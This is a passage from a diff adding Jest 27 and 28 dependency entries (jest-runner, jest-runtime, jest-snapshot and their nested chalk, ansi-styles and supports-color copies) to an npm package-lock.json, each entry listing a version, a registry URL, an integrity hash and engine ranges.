"sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-mock": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-27.5.1.tgz", + "integrity": "sha512-K4jKbY1d4ENhbrG2zuPWaQBvDly+iZ2yAW+T1fATN78hc0sInwn7wZB8XtlNnvHug5RMwV897Xm4LqmPM4e2Og==", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-pnp-resolver": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.3.tgz", + "integrity": "sha512-+3NpwQEnRoIBtx4fyhblQDPgJI0H1IEIkX7ShLUjPGA7TtUTvI1oiKi3SR4oBR0hQhQR80l4WAe5RrXBwWMA8w==", + "engines": { + "node": ">=6" + }, + "peerDependencies": { + "jest-resolve": "*" + }, + "peerDependenciesMeta": { + "jest-resolve": { + "optional": true + } + } + }, + "node_modules/jest-regex-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-27.5.1.tgz", + "integrity": "sha512-4bfKq2zie+x16okqDXjXn9ql2B0dScQu+vcwe4TvFVhkVyuWLqpZrZtXxLLWoXYgn0E87I6r6GRYHF7wFZBUvg==", + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-resolve": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-27.5.1.tgz", + "integrity": "sha512-FFDy8/9E6CV83IMbDpcjOhumAQPDyETnU2KZ1O98DwTnz8AOBsW/Xv3GySr1mOZdItLR+zDZ7I/UdTFbgSOVCw==", + "dependencies": { + "@jest/types": "^27.5.1", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^27.5.1", + "jest-pnp-resolver": "^1.2.2", + "jest-util": "^27.5.1", + "jest-validate": "^27.5.1", + "resolve": "^1.20.0", + "resolve.exports": "^1.1.0", + "slash": "^3.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-resolve-dependencies": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-27.5.1.tgz", + "integrity": "sha512-QQOOdY4PE39iawDn5rzbIePNigfe5B9Z91GDD1ae/xNDlu9kaat8QQ5EKnNmVWPV54hUdxCVwwj6YMgR2O7IOg==", + "dependencies": { + "@jest/types": "^27.5.1", + "jest-regex-util": "^27.5.1", + "jest-snapshot": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-resolve/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-resolve/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-resolve/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-resolve/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-resolve/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-resolve/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-runner": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-27.5.1.tgz", + "integrity": "sha512-g4NPsM4mFCOwFKXO4p/H/kWGdJp9V8kURY2lX8Me2drgXqG7rrZAx5kv+5H7wtt/cdFIjhqYx1HrlqWHaOvDaQ==", + "dependencies": { + "@jest/console": "^27.5.1", + "@jest/environment": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "emittery": "^0.8.1", + "graceful-fs": "^4.2.9", + "jest-docblock": "^27.5.1", + "jest-environment-jsdom": "^27.5.1", + "jest-environment-node": "^27.5.1", + "jest-haste-map": "^27.5.1", + "jest-leak-detector": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-resolve": "^27.5.1", + "jest-runtime": "^27.5.1", + "jest-util": "^27.5.1", + "jest-worker": "^27.5.1", + "source-map-support": "^0.5.6", + "throat": "^6.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-runner/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-runner/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-runner/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-runner/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-runner/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-runner/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-runtime": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-27.5.1.tgz", + "integrity": "sha512-o7gxw3Gf+H2IGt8fv0RiyE1+r83FJBRruoA+FXrlHw6xEyBsU8ugA6IPfTdVyA0w8HClpbK+DGJxH59UrNMx8A==", + "dependencies": { + "@jest/environment": "^27.5.1", + "@jest/fake-timers": "^27.5.1", + "@jest/globals": "^27.5.1", + "@jest/source-map": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "chalk": "^4.0.0", + "cjs-module-lexer": "^1.0.0", + "collect-v8-coverage": "^1.0.0", + "execa": "^5.0.0", + "glob": "^7.1.3", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-mock": "^27.5.1", + "jest-regex-util": "^27.5.1", + "jest-resolve": "^27.5.1", + "jest-snapshot": "^27.5.1", + "jest-util": "^27.5.1", + "slash": "^3.0.0", + "strip-bom": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-runtime/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-runtime/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-runtime/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-runtime/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-runtime/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-runtime/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-serializer": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-serializer/-/jest-serializer-27.5.1.tgz", + "integrity": "sha512-jZCyo6iIxO1aqUxpuBlwTDMkzOAJS4a3eYz3YzgxxVQFwLeSA7Jfq5cbqCY+JLvTDrWirgusI/0KwxKMgrdf7w==", + "dependencies": { + "@types/node": "*", + "graceful-fs": "^4.2.9" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-snapshot": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-27.5.1.tgz", + "integrity": "sha512-yYykXI5a0I31xX67mgeLw1DZ0bJB+gpq5IpSuCAoyDi0+BhgU/RIrL+RTzDmkNTchvDFWKP8lp+w/42Z3us5sA==", + "dependencies": { + "@babel/core": "^7.7.2", + "@babel/generator": "^7.7.2", + "@babel/plugin-syntax-typescript": "^7.7.2", + "@babel/traverse": "^7.7.2", + "@babel/types": "^7.0.0", + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/babel__traverse": "^7.0.4", + "@types/prettier": "^2.1.5", + "babel-preset-current-node-syntax": "^1.0.0", + "chalk": "^4.0.0", + "expect": "^27.5.1", + "graceful-fs": "^4.2.9", + "jest-diff": "^27.5.1", + "jest-get-type": "^27.5.1", + "jest-haste-map": "^27.5.1", + "jest-matcher-utils": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-util": "^27.5.1", + "natural-compare": "^1.4.0", + "pretty-format": "^27.5.1", + "semver": "^7.3.2" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-snapshot/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-snapshot/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-snapshot/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-snapshot/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-snapshot/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-snapshot/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-snapshot/node_modules/semver": { + "version": "7.6.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz", + "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/jest-snapshot/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-snapshot/node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" + }, + "node_modules/jest-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz", + "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-util/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-util/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-util/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-util/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-util/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-util/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-validate": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-27.5.1.tgz", + "integrity": "sha512-thkNli0LYTmOI1tDB3FI1S1RTp/Bqyd9pTarJwL87OIBFuqEb5Apv5EaApEudYg4g86e3CT6kM0RowkhtEnCBQ==", + "dependencies": { + "@jest/types": "^27.5.1", + "camelcase": "^6.2.0", + "chalk": "^4.0.0", + "jest-get-type": "^27.5.1", + "leven": "^3.1.0", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-validate/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-validate/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-validate/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-validate/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/jest-validate/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-validate/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watch-typeahead": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/jest-watch-typeahead/-/jest-watch-typeahead-1.1.0.tgz", + "integrity": "sha512-Va5nLSJTN7YFtC2jd+7wsoe1pNe5K4ShLux/E5iHEwlB9AxaxmggY7to9KUqKojhaJw3aXqt5WAb4jGPOolpEw==", + "dependencies": { + "ansi-escapes": "^4.3.1", + "chalk": "^4.0.0", + "jest-regex-util": "^28.0.0", + "jest-watcher": "^28.0.0", + "slash": "^4.0.0", + "string-length": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "peerDependencies": { + "jest": "^27.0.0 || ^28.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/@jest/console": { + "version": "28.1.3", + "resolved": "https://registry.npmjs.org/@jest/console/-/console-28.1.3.tgz", + "integrity": "sha512-QPAkP5EwKdK/bxIr6C1I4Vs0rm2nHiANzj/Z5X2JQkrZo6IqvC4ldZ9K95tF0HdidhA8Bo6egxSzUFPYKcEXLw==", + "dependencies": { + "@jest/types": "^28.1.3", + "@types/node": "*", + "chalk": "^4.0.0", + "jest-message-util": "^28.1.3", + "jest-util": "^28.1.3", + "slash": "^3.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/@jest/console/node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-watch-typeahead/node_modules/@jest/test-result": { + "version": "28.1.3", + "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-28.1.3.tgz", + "integrity": "sha512-kZAkxnSE+FqE8YjW8gNuoVkkC9I7S1qmenl8sGcDOLropASP+BkcGKwhXoyqQuGOGeYY0y/ixjrd/iERpEXHNg==", + "dependencies": { + "@jest/console": "^28.1.3", + "@jest/types": "^28.1.3", + "@types/istanbul-lib-coverage": "^2.0.0", + "collect-v8-coverage": "^1.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/@jest/types": { + "version": "28.1.3", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-28.1.3.tgz", + "integrity": "sha512-RyjiyMUZrKz/c+zlMFO1pm70DcIlST8AeWTkoUdZevew44wcNZQHsEVOiCVtgVnlFFD82FPaXycys58cf2muVQ==", + "dependencies": { + "@jest/schemas": "^28.1.3", + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^17.0.8", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/jest-watch-typeahead/node_modules/@types/yargs": { + "version": "17.0.32", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.32.tgz", + "integrity": "sha512-xQ67Yc/laOG5uMfX/093MRlGGCIBzZMarVa+gfNKJxWAIgykYpVGkBdbqEzGDDfCrVUj6Hiff4mTZ5BA6TmAog==", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/jest-watch-typeahead/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-watch-typeahead/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + 